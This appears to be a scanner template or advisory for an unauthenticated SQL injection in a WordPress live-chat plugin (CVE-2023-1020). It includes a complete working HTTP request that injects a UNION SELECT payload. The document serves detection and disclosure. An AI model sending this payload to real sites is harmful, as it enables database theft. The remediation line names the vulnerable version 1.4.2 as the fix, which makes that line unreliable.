| Title | Steveas WP Live Chat Shoutbox <= 1.4.2 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute SQL injection through AJAX actions to extract the complete WordPress database including chat logs and user credentials. |
| Remediation | Update to the latest version of the Steveas WP Live Chat Shoutbox plugin (1.4.2) or apply the vendor-provided patch to fix the SQL Injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.80433 |
| CVE ID | CVE-2023-1020 |
| CWE ID | CWE-89 |
| Tags | cve2023 cve wpscan sqli wordpress wp-plugin wp wp-shoutbox-live-chat wp_live_chat_shoutbox_project vkev vuln |
The Steveas WP Live Chat Shoutbox WordPress plugin through 1.4.2 does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
Connection: close
Content-Length: 213
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
action=shoutbox-ajax-update-messages&last_timestamp=0)+UNION+ALL+SELECT+NULL,NULL,(SELECT+CONCAT(0x6338633630353939396633643833353264376262373932636633666462323562)),NULL,NULL,NULL,NULL,NULL--+&rooms%5B%5D=default
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